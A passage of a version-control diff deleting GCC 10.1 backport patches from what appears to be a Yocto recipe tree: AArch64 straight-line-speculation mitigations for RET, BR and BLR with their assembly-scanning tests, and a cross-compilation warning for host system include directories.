- output_asm_insn (patterns[index][1], operands);
- output_asm_insn ("br\t%3", operands);
-+ output_asm_insn (aarch64_sls_barrier (aarch64_harden_sls_retbr_p ()),
-+ operands);
- assemble_label (asm_out_file, label);
- return "";
- }
-@@ -22924,6 +22941,22 @@ aarch64_file_end_indicate_exec_stack ()
- #undef GNU_PROPERTY_AARCH64_FEATURE_1_BTI
- #undef GNU_PROPERTY_AARCH64_FEATURE_1_AND
-
-+/* Helper function for straight line speculation.
-+ Return what barrier should be emitted for straight line speculation
-+ mitigation.
-+ When not mitigating against straight line speculation this function returns
-+ an empty string.
-+ When mitigating against straight line speculation, use:
-+ * SB when the v8.5-A SB extension is enabled.
-+ * DSB+ISB otherwise. */
-+const char *
-+aarch64_sls_barrier (int mitigation_required)
-+{
-+ return mitigation_required
-+ ? (TARGET_SB ? "sb" : "dsb\tsy\n\tisb")
-+ : "";
-+}
-+
- /* Target-specific selftests. */
-
- #if CHECKING_P
-diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
-index 1ce23c6..c21015f 100644
---- a/gcc/config/aarch64/aarch64.h
-+++ b/gcc/config/aarch64/aarch64.h
-@@ -281,6 +281,7 @@ extern unsigned aarch64_architecture_version;
- #define AARCH64_ISA_F32MM (aarch64_isa_flags & AARCH64_FL_F32MM)
- #define AARCH64_ISA_F64MM (aarch64_isa_flags & AARCH64_FL_F64MM)
- #define AARCH64_ISA_BF16 (aarch64_isa_flags & AARCH64_FL_BF16)
-+#define AARCH64_ISA_SB (aarch64_isa_flags & AARCH64_FL_SB)
-
- /* Crypto is an optional extension to AdvSIMD. */
- #define TARGET_CRYPTO (TARGET_SIMD && AARCH64_ISA_CRYPTO)
-@@ -378,6 +379,9 @@ extern unsigned aarch64_architecture_version;
- #define TARGET_FIX_ERR_A53_835769_DEFAULT 1
- #endif
-
-+/* SB instruction is enabled through +sb. */
-+#define TARGET_SB (AARCH64_ISA_SB)
-+
- /* Apply the workaround for Cortex-A53 erratum 835769. */
- #define TARGET_FIX_ERR_A53_835769 \
- ((aarch64_fix_a53_err835769 == 2) \
-@@ -1058,8 +1062,10 @@ typedef struct
-
- #define RETURN_ADDR_RTX aarch64_return_addr
-
--/* BTI c + 3 insns + 2 pointer-sized entries. */
--#define TRAMPOLINE_SIZE (TARGET_ILP32 ? 24 : 32)
-+/* BTI c + 3 insns
-+ + sls barrier of DSB + ISB.
-+ + 2 pointer-sized entries. */
-+#define TRAMPOLINE_SIZE (24 + (TARGET_ILP32 ? 8 : 16))
-
- /* Trampolines contain dwords, so must be dword aligned. */
- #define TRAMPOLINE_ALIGNMENT 64
-diff --git a/gcc/config/aarch64/aarch64.md b/gcc/config/aarch64/aarch64.md
-index 8c8be3c..dda04ee 100644
---- a/gcc/config/aarch64/aarch64.md
-+++ b/gcc/config/aarch64/aarch64.md
-@@ -407,10 +407,25 @@
- ;; Attribute that specifies whether the alternative uses MOVPRFX.
- (define_attr "movprfx" "no,yes" (const_string "no"))
-
-+;; Attribute to specify that an alternative has the length of a single
-+;; instruction plus a speculation barrier.
-+(define_attr "sls_length" "none,retbr,casesi" (const_string "none"))
-+
- (define_attr "length" ""
- (cond [(eq_attr "movprfx" "yes")
- (const_int 8)
-- ] (const_int 4)))
-+
-+ (eq_attr "sls_length" "retbr")
-+ (cond [(match_test "!aarch64_harden_sls_retbr_p ()") (const_int 4)
-+ (match_test "TARGET_SB") (const_int 8)]
-+ (const_int 12))
-+
-+ (eq_attr "sls_length" "casesi")
-+ (cond [(match_test "!aarch64_harden_sls_retbr_p ()") (const_int 16)
-+ (match_test "TARGET_SB") (const_int 20)]
-+ (const_int 24))
-+ ]
-+ (const_int 4)))
-
- ;; Strictly for compatibility with AArch32 in pipeline models, since AArch64 has
- ;; no predicated insns.
-@@ -447,8 +462,12 @@
- (define_insn "indirect_jump"
- [(set (pc) (match_operand:DI 0 "register_operand" "r"))]
- ""
-- "br\\t%0"
-- [(set_attr "type" "branch")]
-+ {
-+ output_asm_insn ("br\\t%0", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_insn "jump"
-@@ -765,7 +784,7 @@
- "*
- return aarch64_output_casesi (operands);
- "
-- [(set_attr "length" "16")
-+ [(set_attr "sls_length" "casesi")
- (set_attr "type" "branch")]
- )
-
-@@ -844,18 +863,23 @@
- [(return)]
- ""
- {
-+ const char *ret = NULL;
- if (aarch64_return_address_signing_enabled ()
- && TARGET_ARMV8_3
- && !crtl->calls_eh_return)
- {
- if (aarch64_ra_sign_key == AARCH64_KEY_B)
-- return "retab";
-+ ret = "retab";
- else
-- return "retaa";
-+ ret = "retaa";
- }
-- return "ret";
-+ else
-+ ret = "ret";
-+ output_asm_insn (ret, operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
- }
-- [(set_attr "type" "branch")]
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_expand "return"
-@@ -867,8 +891,12 @@
- (define_insn "simple_return"
- [(simple_return)]
- ""
-- "ret"
-- [(set_attr "type" "branch")]
-+ {
-+ output_asm_insn ("ret", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_insn "*cb<optab><mode>1"
-@@ -1066,10 +1094,16 @@
- (unspec:DI [(match_operand:DI 2 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (return)]
- "SIBLING_CALL_P (insn)"
-- "@
-- br\\t%0
-- b\\t%c0"
-- [(set_attr "type" "branch, branch")]
-+ {
-+ if (which_alternative == 0)
-+ {
-+ output_asm_insn ("br\\t%0", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ return "b\\t%c0";
-+ }
-+ [(set_attr "type" "branch, branch")
-+ (set_attr "sls_length" "retbr,none")]
- )
-
- (define_insn "*sibcall_value_insn"
-@@ -1080,10 +1114,16 @@
- (unspec:DI [(match_operand:DI 3 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (return)]
- "SIBLING_CALL_P (insn)"
-- "@
-- br\\t%1
-- b\\t%c1"
-- [(set_attr "type" "branch, branch")]
-+ {
-+ if (which_alternative == 0)
-+ {
-+ output_asm_insn ("br\\t%1", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ return "b\\t%c1";
-+ }
-+ [(set_attr "type" "branch, branch")
-+ (set_attr "sls_length" "retbr,none")]
- )
-
- ;; Call subroutine returning any type.
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
-new file mode 100644
-index 0000000..fa1887a
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
-@@ -0,0 +1,21 @@
-+/* Avoid ILP32 since pacret is only available for LP64 */
-+/* { dg-do compile { target { ! ilp32 } } } */
-+/* { dg-additional-options "-mharden-sls=retbr -mbranch-protection=pac-ret -march=armv8.3-a" } */
-+
-+/* Testing the do_return pattern for retaa and retab. */
-+long retbr_subcall(void);
-+long retbr_do_return_retaa(void)
-+{
-+ return retbr_subcall()+1;
-+}
-+
-+__attribute__((target("branch-protection=pac-ret+b-key")))
-+long retbr_do_return_retab(void)
-+{
-+ return retbr_subcall()+1;
-+}
-+
-+/* Ensure there are no BR or RET instructions which are not directly followed
-+ by a speculation barrier. */
-+/* { dg-final { scan-assembler-not {\t(br|ret|retaa|retab)\tx[0-9][0-9]?\n\t(?!dsb\tsy\n\tisb)} } } */
-+/* { dg-final { scan-assembler-not {ret\t} } } */
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
-new file mode 100644
-index 0000000..76b8d03
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
-@@ -0,0 +1,119 @@
-+/* We ensure that -Wpedantic is off since it complains about the trampolines
-+ we explicitly want to test. */
-+/* { dg-additional-options "-mharden-sls=retbr -Wno-pedantic " } */
-+/*
-+ Ensure that the SLS hardening of RET and BR leaves no unprotected RET/BR
-+ instructions.
-+ */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+int
-+retbr_sibcall_value_insn (struct sls_testclass x)
-+{
-+ return x.x(x.left, x.right);
-+}
-+
-+void
-+retbr_sibcall_insn (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+}
-+
-+/* Aim to test two different returns.
-+ One that introduces a tail call in the middle of the function, and one that
-+ has a normal return. */
-+int
-+retbr_multiple_returns (struct sls_testclass x)
-+{
-+ int temp;
-+ if (x.left % 10)
-+ return x.x(x.left, 100);
-+ else if (x.right % 20)
-+ {
-+ return x.x(x.left * x.right, 100);
-+ }
-+ temp = x.left % x.right;
-+ temp *= 100;
-+ temp /= 2;
-+ return temp % 3;
-+}
-+
-+void
-+retbr_multiple_returns_void (struct sls_testclass x)
-+{
-+ if (x.left % 10)
-+ {
-+ x.y(x.left, 100);
-+ }
-+ else if (x.right % 20)
-+ {
-+ x.y(x.left * x.right, 100);
-+ }
-+ return;
-+}
-+
-+/* Testing the casesi jump via register. */
-+__attribute__ ((optimize ("Os")))
-+int
-+retbr_casesi_dispatch (struct sls_testclass x)
-+{
-+ switch (x.left)
-+ {
-+ case -5:
-+ return -2;
-+ case -3:
-+ return -1;
-+ case 0:
-+ return 0;
-+ case 3:
-+ return 1;
-+ case 5:
-+ break;
-+ default:
-+ __builtin_unreachable ();
-+ }
-+ return x.right;
-+}
-+
-+/* Testing the BR in trampolines is mitigated against. */
-+void f1 (void *);
-+void f3 (void *, void (*)(void *));
-+void f2 (void *);
-+
-+int
-+retbr_trampolines (void *a, int b)
-+{
-+ if (!b)
-+ {
-+ f1 (a);
-+ return 1;
-+ }
-+ if (b)
-+ {
-+ void retbr_tramp_internal (void *c)
-+ {
-+ if (c == a)
-+ f2 (c);
-+ }
-+ f3 (a, retbr_tramp_internal);
-+ }
-+ return 0;
-+}
-+
-+/* Testing the indirect_jump pattern. */
-+void
-+retbr_indirect_jump (int *buf)
-+{
-+ __builtin_longjmp(buf, 1);
-+}
-+
-+/* Ensure there are no BR or RET instructions which are not directly followed
-+ by a speculation barrier. */
-+/* { dg-final { scan-assembler-not {\t(br|ret|retaa|retab)\tx[0-9][0-9]?\n\t(?!dsb\tsy\n\tisb|sb)} } } */
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-new file mode 100644
-index 0000000..8122503
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-@@ -0,0 +1,73 @@
-+# Regression driver for SLS mitigation on AArch64.
-+# Copyright (C) 2020 Free Software Foundation, Inc.
-+# Contributed by ARM Ltd.
-+#
-+# This file is part of GCC.
-+#
-+# GCC is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU General Public License as published by
-+# the Free Software Foundation; either version 3, or (at your option)
-+# any later version.
-+#
-+# GCC is distributed in the hope that it will be useful, but
-+# WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# General Public License for more details.
-+#
-+# You should have received a copy of the GNU General Public License
-+# along with GCC; see the file COPYING3. If not see
-+# <http://www.gnu.org/licenses/>. */
-+
-+# Exit immediately if this isn't an AArch64 target.
-+if {![istarget aarch64*-*-*] } then {
-+ return
-+}
-+
-+# Load support procs.
-+load_lib gcc-dg.exp
-+load_lib torture-options.exp
-+
-+# If a testcase doesn't have special options, use these.
-+global DEFAULT_CFLAGS
-+if ![info exists DEFAULT_CFLAGS] then {
-+ set DEFAULT_CFLAGS " "
-+}
-+
-+# Initialize `dg'.
-+dg-init
-+torture-init
-+
-+# Use different architectures as well as the normal optimisation options.
-+# (i.e. use both SB and DSB+ISB barriers).
-+
-+set save-dg-do-what-default ${dg-do-what-default}
-+# Main loop.
-+# Run with torture tests (i.e. a bunch of different optimisation levels) just
-+# to increase test coverage.
-+set dg-do-what-default assemble
-+gcc-dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cCS\]]] \
-+ "-save-temps" $DEFAULT_CFLAGS
-+
-+# Run the same tests but this time with SB extension.
-+# Since not all supported assemblers will support that extension we decide
-+# whether to assemble or just compile based on whether the extension is
-+# supported for the available assembler.
-+
-+set templist {}
-+foreach x $DG_TORTURE_OPTIONS {
-+ lappend templist "$x -march=armv8.3-a+sb "
-+ lappend templist "$x -march=armv8-a+sb "
-+}
-+set-torture-options $templist
-+if { [check_effective_target_aarch64_asm_sb_ok] } {
-+ set dg-do-what-default assemble
-+} else {
-+ set dg-do-what-default compile
-+}
-+gcc-dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cCS\]]] \
-+ "-save-temps" $DEFAULT_CFLAGS
-+set dg-do-what-default ${save-dg-do-what-default}
-+
-+# All done.
-+torture-finish
-+dg-finish
-diff --git a/gcc/testsuite/lib/target-supports.exp b/gcc/testsuite/lib/target-supports.exp
-index 8a186dd..9d2e093 100644
---- a/gcc/testsuite/lib/target-supports.exp
-+++ b/gcc/testsuite/lib/target-supports.exp
-@@ -9432,7 +9432,7 @@ proc check_effective_target_aarch64_tiny { } {
- # various architecture extensions via the .arch_extension pseudo-op.
-
- foreach { aarch64_ext } { "fp" "simd" "crypto" "crc" "lse" "dotprod" "sve"
-- "i8mm" "f32mm" "f64mm" "bf16" } {
-+ "i8mm" "f32mm" "f64mm" "bf16" "sb" } {
- eval [string map [list FUNC $aarch64_ext] {
- proc check_effective_target_aarch64_asm_FUNC_ok { } {
- if { [istarget aarch64*-*-*] } {
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0002-gcc-poison-system-directories.patch b/meta/recipes-devtools/gcc/gcc-10.1/0002-gcc-poison-system-directories.patch
deleted file mode 100644
index 30a8486016..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0002-gcc-poison-system-directories.patch
+++ /dev/null
@@ -1,200 +0,0 @@
-From 74cc21f474402cf3578e37e1d7a1a22bbd070f6a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 08:59:00 +0400
-Subject: [PATCH] gcc: poison-system-directories
-
-Add /sw/include and /opt/include based on the original
-zecke-no-host-includes.patch patch. The original patch checked for
-/usr/include, /sw/include and /opt/include and then triggered a failure and
-aborted.
-
-Instead, we add the two missing items to the current scan. If the user
-wants this to be a failure, they can add "-Werror=poison-system-directories".
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/common.opt | 4 ++++
- gcc/config.in | 6 ++++++
- gcc/configure | 16 ++++++++++++++++
- gcc/configure.ac | 10 ++++++++++
- gcc/doc/invoke.texi | 9 +++++++++
- gcc/gcc.c | 2 ++
- gcc/incpath.c | 21 +++++++++++++++++++++
- 7 files changed, 68 insertions(+)
-
-diff --git a/gcc/common.opt b/gcc/common.opt
-index 65a82410abc..415f38fa1f4 100644
---- a/gcc/common.opt
-+++ b/gcc/common.opt
-@@ -682,6 +682,10 @@ Wreturn-local-addr
- Common Var(warn_return_local_addr) Init(1) Warning
- Warn about returning a pointer/reference to a local or temporary variable.
-
-+Wpoison-system-directories
-+Common Var(flag_poison_system_directories) Init(1) Warning
-+Warn for -I and -L options using system directories if cross compiling
-+
- Wshadow
- Common Var(warn_shadow) Warning
- Warn when one variable shadows another. Same as -Wshadow=global.
-diff --git a/gcc/config.in b/gcc/config.in
-index 809e7b26823..5adeaeed36b 100644
---- a/gcc/config.in
-+++ b/gcc/config.in
-@@ -224,6 +224,12 @@
- #endif
-
-
-+/* Define to warn for use of native system header directories */
-+#ifndef USED_FOR_TARGET
-+#undef ENABLE_POISON_SYSTEM_DIRECTORIES
-+#endif
-+
-+
- /* Define if you want all operations on RTL (the basic data structure of the
- optimizer and back end) to be checked for dynamic type safety at runtime.
- This is quite expensive. */
-diff --git a/gcc/configure b/gcc/configure
-index cd3d9516fce..8de766a942c 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -1010,6 +1010,7 @@ with_system_zlib
- enable_maintainer_mode
- enable_link_mutex
- enable_version_specific_runtime_libs
-+enable_poison_system_directories
- enable_plugin
- enable_host_shared
- enable_libquadmath_support
-@@ -1766,6 +1767,8 @@ Optional Features:
- --enable-version-specific-runtime-libs
- specify that runtime libraries should be installed
- in a compiler-specific directory
-+ --enable-poison-system-directories
-+ warn for use of native system header directories
- --enable-plugin enable plugin support
- --enable-host-shared build host code as shared libraries
- --disable-libquadmath-support
-@@ -30235,6 +30238,19 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
- fi
-
-
-+# Check whether --enable-poison-system-directories was given.
-+if test "${enable_poison_system_directories+set}" = set; then :
-+ enableval=$enable_poison_system_directories;
-+else
-+ enable_poison_system_directories=no
-+fi
-+
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+
-+$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
-+
-+fi
-+
- # Substitute configuration variables
-
-
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 0de3b4bf97b..8bfd6feb780 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -6595,6 +6595,16 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
- [specify that runtime libraries should be
- installed in a compiler-specific directory])])
-
-+AC_ARG_ENABLE([poison-system-directories],
-+ AS_HELP_STRING([--enable-poison-system-directories],
-+ [warn for use of native system header directories]),,
-+ [enable_poison_system_directories=no])
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
-+ [1],
-+ [Define to warn for use of native system header directories])
-+fi
-+
- # Substitute configuration variables
- AC_SUBST(subdirs)
- AC_SUBST(srcdir)
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index f98161391a0..f12d8d12150 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -348,6 +348,7 @@ Objective-C and Objective-C++ Dialects}.
- -Wpacked -Wno-packed-bitfield-compat -Wpacked-not-aligned -Wpadded @gol
- -Wparentheses -Wno-pedantic-ms-format @gol
- -Wpointer-arith -Wno-pointer-compare -Wno-pointer-to-int-cast @gol
-+-Wno-poison-system-directories @gol
- -Wno-pragmas -Wno-prio-ctor-dtor -Wredundant-decls @gol
- -Wrestrict -Wno-return-local-addr -Wreturn-type @gol
- -Wno-scalar-storage-order -Wsequence-point @gol
-@@ -6924,6 +6925,14 @@ made up of data only and thus requires no special treatment. But, for
- most targets, it is made up of code and thus requires the stack to be
- made executable in order for the program to work properly.
-
-+@item -Wno-poison-system-directories
-+@opindex Wno-poison-system-directories
-+Do not warn for @option{-I} or @option{-L} options using system
-+directories such as @file{/usr/include} when cross compiling. This
-+option is intended for use in chroot environments when such
-+directories contain the correct headers and libraries for the target
-+system rather than the host.
-+
- @item -Wfloat-equal
- @opindex Wfloat-equal
- @opindex Wno-float-equal
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 9f790db0daf..b2200c5185a 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1041,6 +1041,8 @@ proper position among the other output files. */
- "%{fuse-ld=*:-fuse-ld=%*} " LINK_COMPRESS_DEBUG_SPEC \
- "%X %{o*} %{e*} %{N} %{n} %{r}\
- %{s} %{t} %{u*} %{z} %{Z} %{!nostdlib:%{!r:%{!nostartfiles:%S}}} \
-+ %{Wno-poison-system-directories:--no-poison-system-directories} \
-+ %{Werror=poison-system-directories:--error-poison-system-directories} \
- %{static|no-pie|static-pie:} %@{L*} %(mfwrap) %(link_libgcc) " \
- VTABLE_VERIFICATION_SPEC " " SANITIZER_EARLY_SPEC " %o "" \
- %{fopenacc|fopenmp|%:gt(%{ftree-parallelize-loops=*:%*} 1):\
-diff --git a/gcc/incpath.c b/gcc/incpath.c
-index 8a2bda00f80..9098ab044ab 100644
---- a/gcc/incpath.c
-+++ b/gcc/incpath.c
-@@ -26,6 +26,7 @@
- #include "intl.h"
- #include "incpath.h"
- #include "cppdefault.h"
-+#include "diagnostic-core.h"
-
- /* Microsoft Windows does not natively support inodes.
- VMS has non-numeric inodes. */
-@@ -393,6 +394,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
- }
- fprintf (stderr, _("End of search list.\n"));
- }
-+
-+#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
-+ if (flag_poison_system_directories)
-+ {
-+ struct cpp_dir *p;
-+
-+ for (p = heads[INC_QUOTE]; p; p = p->next)
-+ {
-+ if ((!strncmp (p->name, "/usr/include", 12))
-+ || (!strncmp (p->name, "/usr/local/include", 18))
-+ || (!strncmp (p->name, "/usr/X11R6/include", 18))
-+ || (!strncmp (p->name, "/sw/include", 11))
-+ || (!strncmp (p->name, "/opt/include", 12)))
-+ warning (OPT_Wpoison_system_directories,
-+ "include location \"%s\" is unsafe for "
-+ "cross-compilation",
-+ p->name);
-+ }
-+ }
-+#endif
- }
-
- /* Use given -I paths for #include "..." but not #include <...>, and
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch b/meta/recipes-devtools/gcc/gcc-10.1/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch
deleted file mode 100644
index 716a367172..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch
+++ /dev/null
@@ -1,658 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From a5e7efc40ed841934c1d913f39476afa17d8e5f7 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:59 +0100
-Subject: [PATCH 3/3] aarch64: Mitigate SLS for BLR instruction
-
-This patch introduces the mitigation for Straight Line Speculation past
-the BLR instruction.
-
-This mitigation replaces BLR instructions with a BL to a stub which uses
-a BR to jump to the original value. These function stubs are then
-appended with a speculation barrier to ensure no straight line
-speculation happens after these jumps.
-
-When optimising for speed we use a set of stubs for each function since
-this should help the branch predictor make more accurate predictions
-about where a stub should branch.
-
-When optimising for size we use one set of stubs for all functions.
-This set of stubs can have human readable names, and we are using
-`__call_indirect_x<N>` for register x<N>.
-
-When BTI branch protection is enabled the BLR instruction can jump to a
-`BTI c` instruction using any register, while the BR instruction can
-only jump to a `BTI c` instruction using the x16 or x17 registers.
-Hence, in order to ensure this transformation is safe we mov the value
-of the original register into x16 and use x16 for the BR.
-
-As an example when optimising for size:
-a
- BLR x0
-instruction would get transformed to something like
- BL __call_indirect_x0
-where __call_indirect_x0 labels a thunk that contains
-__call_indirect_x0:
- MOV X16, X0
- BR X16
- <speculation barrier>
-
-The first version of this patch used local symbols specific to a
-compilation unit to try and avoid relocations.
-This was mistaken since functions coming from the same compilation unit
-can still be in different sections, and the assembler will insert
-relocations at jumps between sections.
-
-On any relocation the linker is permitted to emit a veneer to handle
-jumps between symbols that are very far apart. The registers x16 and
-x17 may be clobbered by these veneers.
-Hence the function stubs cannot rely on the values of x16 and x17 being
-the same as just before the function stub is called.
-
-Similar can be said for the hot/cold partitioning of single functions,
-so function-local stubs have the same restriction.
-
-This updated version of the patch never emits function stubs for x16 and
-x17, and instead forces other registers to be used.
-
-Given the above, there is now no benefit to local symbols (since they
-are not enough to avoid dealing with linker intricacies). This patch
-now uses global symbols with hidden visibility each stored in their own
-COMDAT section. This means stubs can be shared between compilation
-units while still avoiding the PLT indirection.
-
-This patch also removes the `__call_indirect_x30` stub (and
-function-local equivalent) which would simply jump back to the original
-location.
-
-The function-local stubs are emitted to the assembly output file in one
-chunk, which means we need not add the speculation barrier directly
-after each one.
-This is because we know for certain that the instructions directly after
-the BR in all but the last function stub will be from another one of
-these stubs and hence will not contain a speculation gadget.
-Instead we add a speculation barrier at the end of the sequence of
-stubs.
-
-The global stubs are emitted in COMDAT/.linkonce sections by
-themselves so that the linker can remove duplicates from multiple object
-files. This means they are not emitted in one chunk, and each one must
-include the speculation barrier.
-
-Another difference is that since the global stubs are shared across
-compilation units we do not know that all functions will be targeting an
-architecture supporting the SB instruction.
-Rather than provide multiple stubs for each architecture, we provide a
-stub that will work for all architectures -- using the DSB+ISB barrier.
-
-This mitigation does not apply for BLR instructions in the following
-places:
-- Some accesses to thread-local variables use a code sequence with a BLR
- instruction. This code sequence is part of the binary interface between
- compiler and linker. If this BLR instruction needs to be mitigated, it'd
- probably be best to do so in the linker. It seems that the code sequence
- for thread-local variable access is unlikely to lead to a Spectre Revalation
- Gadget.
-- PLT stubs are produced by the linker and each contain a BLR instruction.
- It seems that at most only after the last PLT stub a Spectre Revalation
- Gadget might appear.
-
-Testing:
- Bootstrap and regtest on AArch64
- (with BOOT_CFLAGS="-mharden-sls=retbr,blr")
- Used a temporary hack(1) in gcc-dg.exp to use these options on every
- test in the testsuite, a slight modification to emit the speculation
- barrier after every function stub, and a script to check that the
- output never emitted a BLR, or unmitigated BR or RET instruction.
- Similar on an aarch64-none-elf cross-compiler.
-
-1) Temporary hack emitted a speculation barrier at the end of every stub
-function, and used a script to ensure that:
- a) Every RET or BR is immediately followed by a speculation barrier.
- b) No BLR instruction is emitted by compiler.
-
-gcc/ChangeLog:
-
- * config/aarch64/aarch64-protos.h (aarch64_indirect_call_asm):
- New declaration.
- * config/aarch64/aarch64.c (aarch64_regno_regclass): Handle new
- stub registers class.
- (aarch64_class_max_nregs): Likewise.
- (aarch64_register_move_cost): Likewise.
- (aarch64_sls_shared_thunks): Global array to store stub labels.
- (aarch64_sls_emit_function_stub): New.
- (aarch64_create_blr_label): New.
- (aarch64_sls_emit_blr_function_thunks): New.
- (aarch64_sls_emit_shared_blr_thunks): New.
- (aarch64_asm_file_end): New.
- (aarch64_indirect_call_asm): New.
- (TARGET_ASM_FILE_END): Use aarch64_asm_file_end.
- (TARGET_ASM_FUNCTION_EPILOGUE): Use
- aarch64_sls_emit_blr_function_thunks.
- * config/aarch64/aarch64.h (STB_REGNUM_P): New.
- (enum reg_class): Add STUB_REGS class.
- (machine_function): Introduce `call_via` array for
- function-local stub labels.
- * config/aarch64/aarch64.md (*call_insn, *call_value_insn): Use
- aarch64_indirect_call_asm to emit code when hardening BLR
- instructions.
- * config/aarch64/constraints.md (Ucr): New constraint
- representing registers for indirect calls. Is GENERAL_REGS
- usually, and STUB_REGS when hardening BLR instruction against
- SLS.
- * config/aarch64/predicates.md (aarch64_general_reg): STUB_REGS class
- is also a general register.
-
-gcc/testsuite/ChangeLog:
-
- * gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c: New test.
- * gcc.target/aarch64/sls-mitigation/sls-miti-blr.c: New test.
----
- gcc/config/aarch64/aarch64-protos.h | 1 +
- gcc/config/aarch64/aarch64.c | 225 ++++++++++++++++++++-
- gcc/config/aarch64/aarch64.h | 15 ++
- gcc/config/aarch64/aarch64.md | 11 +-
- gcc/config/aarch64/constraints.md | 9 +
- gcc/config/aarch64/predicates.md | 3 +-
- .../aarch64/sls-mitigation/sls-miti-blr-bti.c | 40 ++++
- .../aarch64/sls-mitigation/sls-miti-blr.c | 33 +++
- 8 files changed, 328 insertions(+), 9 deletions(-)
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index ee0ffde..839f801 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -782,6 +782,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
- const char *aarch64_sls_barrier (int);
-+const char *aarch64_indirect_call_asm (rtx);
- extern bool aarch64_harden_sls_retbr_p (void);
- extern bool aarch64_harden_sls_blr_p (void);
-
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index 2389d49..0f7bba3 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -10605,6 +10605,9 @@ aarch64_label_mentioned_p (rtx x)
- enum reg_class
- aarch64_regno_regclass (unsigned regno)
- {
-+ if (STUB_REGNUM_P (regno))
-+ return STUB_REGS;
-+
- if (GP_REGNUM_P (regno))
- return GENERAL_REGS;
-
-@@ -10939,6 +10942,7 @@ aarch64_class_max_nregs (reg_class_t regclass, machine_mode mode)
- unsigned int nregs, vec_flags;
- switch (regclass)
- {
-+ case STUB_REGS:
- case TAILCALL_ADDR_REGS:
- case POINTER_REGS:
- case GENERAL_REGS:
-@@ -13155,10 +13159,12 @@ aarch64_register_move_cost (machine_mode mode,
- = aarch64_tune_params.regmove_cost;
-
- /* Caller save and pointer regs are equivalent to GENERAL_REGS. */
